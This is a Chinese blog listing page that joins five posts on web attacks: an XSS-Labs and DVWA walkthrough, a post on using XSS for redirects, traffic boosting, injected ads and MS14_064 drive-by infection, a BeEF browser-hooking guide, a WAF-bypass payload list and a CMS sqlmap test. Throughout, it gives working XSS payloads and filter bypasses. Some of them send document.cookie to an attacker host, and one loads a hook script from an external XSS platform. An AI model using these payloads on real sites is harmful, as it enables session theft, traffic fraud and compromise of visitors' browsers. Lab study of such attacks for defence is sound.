搜索到
5
篇与
的结果
-
Web安全中的XSS攻击详细教学，Xss-Labs靶场通关全教程 漏洞原理XSS（cross site script）跨站脚本攻击，指的是攻击者往web页面插入恶意脚本代码，当用户浏览时，嵌入web页面里的脚本代码就会执行，从而达到恶意攻击用户的特殊目的，它主要分为俩种类型存储型XSS（持久型）：攻击者将恶意脚本存储在目标服务器上，每当用户访问受感染的页面时，恶意脚本就会执行。反射型XSS（非持久型）：攻击者诱使用户点击一个链接，该链接将恶意脚本作为输入传递给服务器，然后服务器将这个脚本反射回用户的浏览器执行。DOM型（非持久型）：漏洞危害XSS攻击的常见目标是盗取用户的cookie和其他敏感信息，这些信息可以用来进行会话劫持、身份冒充等进一步攻击。如何防御？输入验证：网站开发者需要对用户输入进行严格的验证和过滤，避免将不受信任的数据直接输出到HTML中。输出编码：当将用户输入的数据输出到页面时，使用适当的编码方法（如HTML实体编码）来转义可能被浏览器解释为脚本的特殊字符。对输出内容进行编码：在变量输出到HTML页面时，可以使用编码或转义的方式来防御XSS攻击。漏洞复现Upload-Labs靶场（1-20关）第一关（URL传参）分析URL中的参数有个nanme根据XSS原理，注入恶意脚本，尝试注入payload?name=<script>alert()</script>第二关（输入框注入）尝试注入payload<script>alert()</script>分析源码，红色框上面部分被转义了，没有什么绕过方法，但是下面部分，仔细看，如果我们嵌套一个反标签符号呢？payload如下"><script>alert()</script><"第三关（事件注入）尝试使用上一关的内容进行绕过，被转义，只能想想其他办法了在JavaScript中有一个函数onfocus，用于输入框input，select，a标签获得焦点的事件这里我们给他一个函数即可，payload如下' onfocus=JavaScript:alert() '此时再点击这个input框，使其获得焦点，触发onfocus事件第四关（引号类型）使用上一关的结果进行注入，尝试失败分析源码，发现外围是双引号，双包单了，不符合JavaScript 的onfocus事件绑定切换payload为双引号即可" onfocus=JavaScript:alert() "提交payload后，需要点击input框，触发onfocus事件第五关（a标签注入）尝试输入脚本标签，被强行切换为scr_ipt使用上一关的方法" onfocus=JavaScript:alert() "，事件名称也被强行转换了这里就要用到a标签的 href属性了，尝试注入分析源码，并无异常转换，只是少了个"> 和 <"，构造payload"><a href="JavaScript:alert();">xx</a><"发现页面多了个标签，此时既可以点击此标签第五关，over！第六关（大小写绕过）使用上一关结果，尝试注入"><a href="JavaScript:alert();">xx</a><"分析源码，href变成了hr_ef尝试onfocus绕过，失败尝试大小写，发现没有对大小写进行验证//第一种，脚本注入 " ><SCRIPT>alert()</SCRIPT>< " //第二种，焦点事件 " ONDOCUS=JavaScript:alert() " //a标签href属性的 "> <a HREF=JavaScript:alert()>x</a> <"over！第七关（双拼写）一样，使用上一关方法尝试，发现此时对大小写也进行了验证。不难发现，这里面进行了小写转化，将检测出来的on，script，href给删掉了，但是没有关系，我们可以利用*双拼写*来绕过。" ><sscriptcript>alert()</sscriptcript>< "第八关（Unicode编码）尝试使用大小写失败，对字符进行了强行转换，而且使用了强制小写字母尝试使用双写，也以失败告终这里我们能利用href的隐藏属性自动Unicode解码，我们可以插入一段js伪协议JavaScript:alert()利用在线工具进行Unicode编码后得到，在线Unicode编码解码javascript:alert()第九关（指定字符绕过）先看看过滤了什么" SRC data onfocus <script> <a href=javascript:alert()> 什么嘛，看源码当传入的参数不包含"http://"时，即其值为假（false），将触发if语句的执行。为了避免这种情况，我们需要在参数中添加"http://"，并将其作为注释，以防止其被实际执行，这会影响到弹窗的显示。为了确保strpos函数能够返回一个数值，我们需要构造一个特定的输入（payload），使其满足函数的预期行为。比如：javascript:alert()/* <http://> */本章小结：插入指定内容（本关是http://）绕过检测，再将指定内容用注释符注释掉即可第十关（属性修改）a标签注入失败，看看网页源码，全部都在h2标签去了，看着下面还有这么多hidden的input，这谁顶得住啊。看后端源码吧它多了个get的参数，测试了好几遍，可以尝试这个参数，把后面的type="hidden"给干掉，或者给type="text"也行就可以让这个input显示出来，再让它获得焦点，触发onfocus事件。level10.php?t_sort=" onfocus="javascript:alert()" type=" level10.php?t_sort=" onfocus="javascript:alert()" type="text第十一关（Referer）老样子，使用上一关的payload，发现我们的参数被转义了检查源码使用，这个str11并没有使用htmlspecialchars()方式进行转换，那么这里就是注入点知识补充：htmlspecialchars()：一个PHP函数，用于将特殊字符转换为HTML实体。这个函数通常用于防止跨站脚本（XSS）攻击。$_SERVER['HTTP_REFERER'] ：链接到当前页面的前一页面的 URL 地址。（referer，推荐人）$userInput = "<script>alert('XSS');</script>"; $safeOutput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); echo $safeOutput; // 输出: <script>alert('XSS');</script>尝试注入RefererREFERER:<script>alert()</script>注入成功，但是他把我们的< 和> 这些尖括号给去掉了那么可以尝试使用onfocus事件，并且把隐藏的input给显示出来，payload如下REFERER:" onfocus="javascript:alert()" type="text" "over！第十二关（User-Agent）上一关使用的referver，这一关我们猜测使用cookie，开始尝试发送请求，果断打开源码，尝试个鬼，用的user-agent尝试使用如下payload，添加到请求头后面" onfocus="javascript:alert()" type="text" "over！第十三关（Cookie）这关想都不要想，一定是Cookie！有人不服嘛，不服顺着网线来打死我 (´｡✪ω✪｡｀)先查看源码，然后抓包，或者说，直接抓包俩个东西似曾相识哈，复制上一关的payload，开始注入" onfocus="javascript:alert()" type="text" "鼠标点击input输入框，使其获得焦点，成功！第十四关由于本关因*iframe*调用的文件地址失效，无法进行测试。第十五关来到了第十五关，直到看到如下图片，啊？？？？？？再看看源码，没有一点头绪啊，之前用的方法全部没作用了使用burp suite抓包试试。。。。。。无奈，只能看php源码了，有一个SRC参数，关键他还使用了htmlspecialchars()累了，煞了我吧看网上是这样子说的这里有个html实体化函数在，没有删掉东西，所以不影响我们接下来的操作，我们可以包涵第一关并让第一关弹窗（注意，这里不能包涵那些直接弹窗的东西如，但是可以包涵那些标签的东西比如、、、标签等等，这些标签是能需要我们手动点击弹窗的），这里我们使用img标签，可参考XSS常见的触发标签，构造payload?SRC='/level1.php?name=<img SRC=1 onmouseover=alert()>'分析源码,他这里是对特殊符号进行了转义，比如 >使用<，它并没有删掉，还是存在在html标签中的，也可以进行内含属性，根据他说的尝试使用img标签，并添加onmouseover 事件语法如下?SRC='/level1.php?name=<img SRC=1 onmouseover=alert()>'第十六关（回车%0a）通过以上关卡我总结了一些关键字，便于测试?keyword=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j 都以失败告终。查看源码这里将` ,/,script,-都替换成了 ，所以a标签也不行，但是可以使用一个标签的标签（单标签）比如，,,svg` 等。这里使用<svg>的onload事件，就是svg标签加载完成的事件，搭配上%0a即回车按钮，就比如?keyword=<svg%0aonload=alert()>渲染在网页上其实是这样的<svg%0aonload=alert()> || <svg onload=alert()>第十七关（embed）测试注入关键字?arg01=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;发现事件名称和javascript脚本都没有被注释，尝试使用onload事件%20onload=alert()%20""非常简单，完成，这里原本是一个未知文件显示在这里的，小编我直接修改成了这张图片，实现思路是一样的第十八关（双参空格）尝试任意字符，它将俩个参数用 = 号连接起来了/level18.php?arg01=abavvvv&arg02=fdffffdf注入测试" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;属性正常，和上一关一样，不过需要注意是第二个参数进行传值arg02/level18.php?arg02= onmousedown=alert() //注意空格，这里使用的是鼠标点击事件第十九关难搞，pass，不要问我为什么，可能环境不对，Flash xss了解一下就行，现在许多浏览器都用不上flash插件了第二十关payload在这儿（也不起效果），你自个儿试试吧，这是原文，可能因为我的服务器是linuxhttps://blog.csdn.net/u014029795/article/details/103217680?arg01=id&arg02=xss"))}catch(e){alert(1)}//%26width=123%26height=123存储型XSS（持久性XSS）存储型XSS，又称持久性XSS，他们和反射性XSS最大的不同就是，攻击脚本将被永久地存放在目标服务器端（数据库，内存，文件系统等），下次请求目标页面时不用再提交XSS代码，又有点类似于SQL注入，但不同于SQL注入。这种攻击多见于论坛，攻击者在发帖的过程中，将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来，恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候，恶意脚本则会在他们的浏览器中得到执行，从而受到了攻击。持久型 XSS 的三大特点： 持久性，植入在数据库中； 危害面广，甚至可以让用户机器变成 DDoS 攻击的肉鸡； 盗取用户敏感私密信息。 如何防御？ 后端在入库前应该选择不相信任何前端数据，将所有的字段统一进行转义处理； 后端在输出给前端数据统一进行转义处理； 前端在渲染页面 DOM 的时候应该选择不相信任何后端数据，任何字段都需要做转义处理。 漏洞复现--DVWALOW尝试注入JavaScript脚本<script>alert()</script>执行正常注入成功尝试分析源码，完全没有对XSS的防护，另外对SQL注入的防护也不彻底。<?php if( isset( $_POST[ 'btnSign' ] ) ) { //trim() 函数只能去除字符串的首尾字符，这里没有第二个参数，默认去除首尾空格 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); //stripslashes() 删除字符串中的反斜杠 $message = stripslashes( $message ); //mysqli_real_escape_string() 函数转义了特殊字符（包括NUL（ASCII 0）、n、r、、'、" 和 Control-Z），然后直接代入mysqli_query()函数来执行INSERT INTO的SQL语句。 $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 要执行的sql语句 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>这里还有一共攻击方式使用xss攻击获取cookie，payload如下<script>document.write('<img src="http://ip:9999/'+document.cookie+'"/>')</script>简单地起http协议的方法有两种：（1）用python2：python2 -m SimpleHTTPServer 8899（2）用python3：python3 -m http.server 8899注入payload成功获取cookie信息P.S. 测试的时候还发现每次点击浏览器的刷新键，都会再生成一个一条guestbook记录。这应该是low等级没有做防止表单重复提交的动作。Medium尝试使用上一关的内容进行注入。注入失败盲注尝试第一个框，而且输入框限制了文字的输入长度似乎有效果尝试修改input框的输入长度限制payload如下<a href="javascript:alert()">alert()</a>注入成功源码分析<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // strip_tags() 函数用于从字符串中去除HTML和PHP标签 // addslashes() 用于在字符串中的单引号（'）、双引号（"）、反斜杠（）和NULL字符（�）前面添加反斜杠 $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // htmlspecialchars() 用于将特殊字符转换为HTML实体，特殊字符包含&、<、>、'、" $message = htmlspecialchars( $message ); // 将指定字符串替换为空 $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>仔细分析源码会发现，它只将message框的函数进行了一个strip_tags字符判断，但是并没有对name框的值进行判断，此处仅仅只是进行了删除script，所以我们可以可以尝试以下俩种方式： 双写绕过，例如<sc<script>ript>alert()<sc<script>ript> 大小写绕过，把标签名称改为<sCript>，任意字符大写即可 High单标签使用上一关的payload测试失败尝试半包，发现对字符进行了转义。尝试单个标签 img，并添加点击事件onclick，即可注入成功<img src=1 onclick=alert() /><!--注意不要少了空格-->cookie在单标签的情况进行获取cookie，payload如下<img src=1 onclick="document.write('<img src="http://ip:9999/'+document.cookie+'"/>')" />http端口也没有监听到cookie信息尝试失败之后试了试svg，也不行在我百思不得其解的时候，想到了这么一个标签input，onchange事件<input onchange="alert()">成功了！那么再利用这个input标签，去获取我们的dvwa站点的cookie信息<input οnchange="document.write('<img src="http://ip:999/'+document.cookie+'"/>')">emmmm，尝试了好几遍，注入失败了，不知道为什么看源码。。。。<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>它使用 preg_replace 正则替换没思路了，有没有大佬帮帮我呀 T_TIMPOSSIBLE源码分析<?php if( isset( $_POST[ 'btnSign' ] ) ) { // checkToken() 检查token是否存在，使用csrf_token，防止CSRF攻击，还解决了表单重复提交的问题 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 将参数俩边的空格去掉 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // 去掉message框的反斜杠 $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 将message框中的值转化为html实体 $message = htmlspecialchars( $message ); // 去掉name中的反斜杠 $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // 执行sql语句，并使用了PDO进行了预编译，预防SQL注入攻击 $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>原文链接：https://mp.weixin.qq.com/s/PKs1TTg8XyU-UBOZTY5Olg原文链接https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQ -
XSS高级用法，SEO，挂ma，MS14_064利用 XSS高级用法，SEO，挂ma，MS14_064利用以下所有的针对XSS的利用方式都是对XSS的深一步的学习了解、请勿于未授权环境下进行非法操作！！！XSS平台：https://xssaq.com/<sCRiPt sRC=//xs.pe/PNb></sCrIpT> 这里有一个XSSlabs，利用我们的payloadXSS平台已上线查看功能这里面有源码，XSS站点的ua头，还有存储用户cookie信息机器的真实IP地址地址很明确，是我自己的地址广告传播/SEO优化/刷取流量原理通过恶意的XSS代码将正常的页面跳转到目的地的页面，利用网站进行重定向实现引流、广告位传播等等。实操恶意刷取访问量，网页直接跳转<script type="text/javascript">window.location.href="跳转的目的地址";</script> <script type="text/javascript">window.location.replace("跳转的目的地址");</script> <script type="text/javascript">window.location.assign("跳转的目的地址");</script> 注入成功，再次访问这个页面就会自动跳转到你的页面，从而达到访问量+1第二种，网页延迟跳转<script type="text/javascript"> function jumurl(){ window.location.href = 'https://www.baidu.com'; } setTimeout(jumurl,3000); </script> 恶意广告展示（需要5块钱吃外卖的记得扫个码嘞，美团优惠卷+平台双减）<script>document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='2000' height='5000' allowTransparency src=https://pic1.zhimg.com/v2-656b7df981ea18d18f196995f477d75d_xll.jpg?source=32738c0c&needBackground=1></iframe>");</script> 三、网页挂马/权限提升（MS14_064）目的 通过木马服务器（Kali）搭建生成一个恶意URL地址，并通过存储型XSS挂到页面中。只要存在未打相应补丁的用户访问了挂马页面，恶意攻击者便获取到了受害者的控制权限（重点在于目的系统是否打了相应补丁）环境木马服务器（Kali MS14-064 IP:192.168.7.129） 受害者（Windows Server 2003 R2 IP:192.168.7.136） 存在 XSS 的服务器（Win10 DVWA靶机 IP:192.168.1.103）MS14_064：受影响的操作系统版本有：Windows Vista、Windows Server 2012、Windows Server 2008、Windows RT、Windows 8.1、Windows 8 以及 Windows 7.打开msf搜索 ms14_064依次设置好参数没有成功，不知道为什么，我win7补丁都卸载了，这里只做演示，可以参考下文https://blog.csdn.net/theRavensea/article/details/136793078 XSS插入地址这个时候就能利用存储型xss漏洞将木马服务器生成的地址插入到网站中，这样只要有人的电脑存在该漏洞，就能上线：可自行测试，我这里不是全新的win7，没有成功学习于：https://blog.csdn.net/Aaron_Miller/article/details/105918848
-
Kali下安装与使用BeEF-xss 早八人，护网在即，该学习了~前言BEEFXSS（Browser Exploitation Framework XSS），更常见的称呼是BeEF（The Browser Exploitation Framework），是一个开源的浏览器漏洞利用框架。它由Michał Zalewski于2006年创建，旨在帮助渗透测试人员评估Web浏览器的安全性，发现并利用其中的漏洞。XSS基础篇：https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQXSSWAF绕过篇：https://mp.weixin.qq.com/s/P2AX2ebnzaCw-NoNwLwIRA工具使用更新源apt-get update 安装apt-get install beef-XSS 输入账号密码，本身默认的密码和账号分别为 beef 和 beef启动beef-XSS得到js文件攻击载荷即XSS的js脚本地址，链接为你的IP地址+端口下的js访问面板 http://:3000/ui/panl账号：beef， 密码：是你在上面输入的密码（这里我输入的是：root）存储型XSS利用，当然也可以使用其他具有XSS漏洞的平台，比如XSSlabs使用script标签链接你攻击机器的脚本地址，提交即可好，找到一个具有xss漏洞的界面，执行script这里已成功上限log日志，获取浏览器的基本信息，当前在哪个页面，是否聚焦，鼠标在那个位置等等获取cookie选中靶机，在Command面板找到GetCookie命令并执行，比如获取cookie，这里直接获取到了cookie信息配合钓鱼重定向，即你访问具有存储型XSS的界面的时候，他会自动跳转到你预设的链接（钓鱼）地址引导下载当然也可以将跳转的链接转化为图片，比如使用img标签，链接到这个图片如果payload过长输入不了就可以使用短链、短链生成一些好玩的命令命今颜色(Color):绿色对目标主机生效并且不可见(不会被发现)橙色对目标主机生效但可能可见(可能被发现)灰色对目标主机来未必生效(可验证下)红色对目标主机不生效beef-xss主要模块Browser：此模块主要针对浏览器进行信息收集或攻击。其子选项卡“Hooked Domain”能够获取HTTP属性值，如cookie、表单值等，并执行简单的浏览器操作，例如替换href值、弹出警告框、重定向浏览器等。部分模块会根据受害者的浏览器类型来决定是否显示，主要涉及浏览器通用操作和其他基本信息检测。Chrome Extensions：此模块专门针对谷歌浏览器的扩展插件进行信息收集或攻击。Debug：提供调试功能，用于测试和修复Beef框架中的问题。Exploits：此模块利用已公开的漏洞进行攻击测试，帮助用户了解系统或应用的安全性。Host：针对主机进行信息收集，如检测主机的浏览器、系统信息、IP地址、安装软件等。IPEC：负责协议间通信，主要用于连接和控制受害者的浏览器。Metasploit：Beef可与Metasploit平台联合配置，一旦有受害者出现，可通过信息收集确定是否存在漏洞，进一步方便进行Metasploit攻击测试。Misc：包含一些杂项功能，提供额外的工具和选项。Network：进行网络扫描，帮助用户了解网络环境和潜在的安全风险。Persistence：维护受害者访问，确保长时间对受害者进行监控和控制。Phonegap：针对手机设备进行测试，帮助用户了解移动设备的安全性。Social Engineering：利用社会工程学方法进行攻击，通过诱导、欺骗等手段获取受害者的敏感信息或执行恶意操作。听说护网很激烈啊ოර⌄රო ~~~~
-
【WAF剖析】10种XSS某狗waf绕过姿势 XSS 基础：Web安全中的XSS攻击详细教学，XSS-Labs靶场通关全教程（建议收藏）（一）、Web安全中的XSS攻击详细教学（二）--已完结如果懒得找靶场和安全狗防火墙后台回复【靶场】即可获取image-20240722161008610复现网站安全狗最新 v4.0 已经准备好image-20240722104320515这里用 XSSlab 进行 WAF 绕过测试image-20240722102257861还是一样安全狗 WAF 测试http://192.168.209.149/level1.php?name=<script>alert("hellow world")</script>image-20240722102220534基础 payloadphp<?phpecho "<script>alert(1)</script>";?>img<img SRC=JavaScript:alert("XSS")><IMG SRC=JavaScript:alert(String.formCharCode(88,83,83))><img scr="URL" style='XSS:expression(alert(XSS));'><img SRC="x" onerror=alert(1)><img SRC="x" οnerrοr=eval("alert('XSS')")><img SRC=x οnmοuseοver=alert('XSS')>css<img STYLE="background-image:url(JavaScript:alert('XSS'))">formXSS利用方式1<form action=JavaScript:alert('xss') method="get"><form action=JavaScript:alert('xss')>XSS利用方式2<form method=post action=aa.asp? οnmοuseοver=prompt('xss')><form method=post action=aa.asp? οnmοuseοver=alert('xss')><form action=1 οnmοuseοver=alert('xss')>input<input name="name" value=""><input value="" οnclick=alert('xss') type="text"><input name="name" value="" οnmοuseοver=prompt('xss') bad=""><input name="name" value=""><script>alert('xss')</script>iframe<iframe SRC=JavaScript:alert('xss');height=5width=1000 /><iframe><iframe SRC="data:text/html,<script>alert('xss')</script>"></iframe><!--原code--><iframe SRC="data:text/html;base64,<script>alert('xss')</script>"><!--base64编码--><iframe SRC="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><iframe SRC="aaa" οnmοuseοver=alert('xss') /><iframe><iframe src="JavaScript:prompt(`xss`)"></iframe>经过测试以上内容皆执行不了，但是还有一个svg没测试svg！成功了一个，看来 v4.0 的安全狗没有对 svg 进行防护，payload 如下<svg onload=alert(1)>image-20240722103703228常见的 WAF 绕过 payload1.大小写绕过<sCript>alert(1)</Script>image-202407221300440002、双写绕过image-202407221309172023、imgimage-202407221309530464、onmouseover 事件当用户鼠标移动时即可运行代码 image-20240722131108228当用户鼠标在这个块上面时即可运行（可以配合 weight 等参数将 div 覆盖页面，鼠标不划过都不行）image-202407221313538565、onclick 事件buttonimage-202407221317099956、onload 事件例如<svg onload=alert(1)>之前已经测试过了，svg 的 onoad 事件可以7、编码脚本绕过关键字image-202407221322232148、主动闭合标签实现注入代码image-202407221341403009、绕过 HTML 注释符image-2024072213461653010、利用换行符绕过image-2024072213474591411、绕过右标签image-2024072213480705012、绕过</内容>image-20240722134857902字典爆破image-20240722135712030这个时候直接一个一个去访问即可image-20240722141703806这里我们找到一个 iframe 的 payload，尝试访问，成功加载，但是看源码，标签没有闭合image-20240722141540870我们在 url 中闭合这个标签，就可以了image-20240722141917556绕过思路一、更改提交方式在默认配置下，为了节省资源，许多 WAF 只会对 GET 请求进行过滤拦截，而忽略了对 POST 请求、Cookie、HTTP Header 等其他提交方式的检测。因此，攻击者可以尝试更改有害语句的提交方式，如将 GET 请求修改为 POST 请求，或者通过 Cookie、HTTP Header 等方式提交恶意脚本，以绕过 WAF 的拦截。二、混淆伪装绕过混淆伪装是一种常见的绕过 WAF 的手段，攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装，使其绕过 WAF 的关键词过滤规则。例如，将 JavaScript 代码中的关键字进行大小写混淆（如三、标签和事件函数变换XSS 攻击主要是通过触发 HTML 标签中的事件函数来执行恶意脚本。因此，WAF 会重点识别能够触发事件函数的 HTML 标签和事件函数字段。攻击者可以尝试使用其他可以执行 JavaScript 代码的 HTML 标签（如 , , 等）替换常用的四、利用 WAF 的缺陷和配置不当「增加 WAF 负担」：有些 WAF 在处理大量数据时可能会降低检测精度或放弃检测部分数据包。攻击者可以通过向 WAF 发送大量正常数据包并夹杂异常数据包的方式，增加 WAF 的负担，从而绕过 WAF 的检测。「利用 WAF 配置不当」：WAF 的配置可能存在漏洞或不当之处，如只检测部分参数、忽略某些类型的请求等。攻击者可以通过分析 WAF 的配置规则，构造绕过 WAF 检测的请求。「旁站绕过」：在某些情况下，网站管理员可能只对主站进行了 WAF 防护，而忽略了旁站或子域名的防护。攻击者可以尝试通过旁站或子域名绕过 WAF 的防护。五、使用自动化工具自动化工具如XSStrike 等可以帮助攻击者自动测试 WAF 的防护效果，并生成绕过 WAF 的 payload。这些工具通常包含多种绕过 WAF 的技巧和策略，可以显著提高攻击的成功率。❝XSStrike 开源地址：https://github.com/s0md3v/XSStrike❞六、其他技巧「利用伪协议」：某些 HTML 属性支持伪协议（如JavaScript: ），攻击者可以利用这些属性执行恶意脚本。「利用 CSS 跨站」：在某些情况下，攻击者可以利用 CSS 中的某些特性（如expression() ）执行 JavaScript 代码。「利用全局变量和函数」：JavaScript 中的全局变量和函数（如eval() , window.onload 等）可以在不直接引用脚本标签的情况下执行代码，攻击者可以尝试利用这些变量和函数绕过 WAF 的防护。七、举例这里我就拿标签事件函数变换来举例、首先判断标签名称，是否可用比如iframe ，它可以正常访问，说明 标签没有进行过滤http://192.168.209.149/level1.php?name=<iframe>image-20240722143819570标签没有进行过滤，尝试闭合这个标签，ok 正常访问image-20240722144155301判断属性 src，好没有过滤image-20240722144230962加了个= 就被拦截了，这时候没法继续了，换个事件试试image-20240722144259675image-20240722144611518这里拿 onload 尝试image-20240722144645731❝需要注意的是，以上绕过 WAF 的思路和技巧仅供学习和研究网络安全使用，不得用于非法攻击和破坏活动。在实际应用中，网站管理员和 WAF 开发者应不断更新和完善 WAF 的防护策略，提高网站的安全性。❞SQL 注入 WAF 绕过文章参考：SQL注入绕过某狗的waf防火墙，这一篇就够了，6k文案超详细、SQL注入某狗WAF绕过（补充）
-
对某CMS漏洞练习平台的一次xss、sql注入、越权黑盒思路分析 简介熊海CMS是由熊海开发的一款功能丰富的网站综合管理系统，广泛应用于个人博客、个人网站以及企业网站，本文章用于黑盒测试，如果需要源码审计后台回复【CMS】获取即可，精心准备了40多个cms源码漏洞平台，供宝子们学习，一切资源免费XSS测试在测试过程中，我们发现目标站点存在XSS注入漏洞。通过插入特定的XSS测试脚本，我们能够触发跨站脚本攻击，这表明站点在处理和显示用户输入时未进行充分的过滤和编码。SQL注入SQL注入超详细教程：从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练在首页，通过随机点击一篇文章并修改URL参数，我们尝试进行SQL注入攻击。使用以下payload：http://192.168.3.245:37892/?r=content&cid=16' -- w服务器响应报错，这表明可能存在SQL注入漏洞。为了进一步验证，我们使用sqlmap工具进行自动化测试，并指定参数cid进行注入尝试：sqlmap -u 'http://192.168.3.245:37892/?r=content&cid=16' -p 'cid' --random-agent --threads=10 --dbms=mysql --level 3 --dbs测试结果显示，目标站点存在布尔盲注、报错注入和时间盲注三种SQL注入方法。接下来，我们使用dirb工具扫描目标站点的目录结构，并发现了一个admin管理页面。尝试对该admin页面进行SQL注入攻击，结果服务器响应显示SQL语句错误，进一步确认了SQL注入漏洞的存在。后台越权登录之前使用dirb扫出来的admin后台，尝试访问尽管我们尝试使用sqlmap记录来爆破admin所在的表，并发现密码进行了哈希加密，但未能使用现有的密码字典破解密码。由于无法直接登录后台，我们尝试构造session，cookie和本地存储进行越权访问。通过抓包分析，我们猜测向后端传递的用户名字段为user，密码字段为password。在设置了本地cookie存储后（随意设置），我们尝试访问后台页面：http://192.168.3.208:37892/admin/index.php成功越权访问了网站后台。在后台，我们尝试修改回复内容，并插入XSS攻击脚本：<script>alert(1)</script>保存修改后，XSS攻击脚本成功生效，表明站点存在存储型XSS注入漏洞。在尝试删除留言时，我们发现URL参数delete可能存在SQL注入漏洞。通过构造特定的payload，我们确认了该漏洞的存在。此外，我们还发现了一个报错页面，该页面暴露了站点的根目录信息，这可能会被恶意利用。由于已知目标站点为PHP网站，我们尝试使用sqlmap获取目标shell：sqlmap -u 'http://192.168.3.245:37892/?r=content&cid=16' -p 'cid' --random-agent --threads=10 --dbms=mysql --level 3 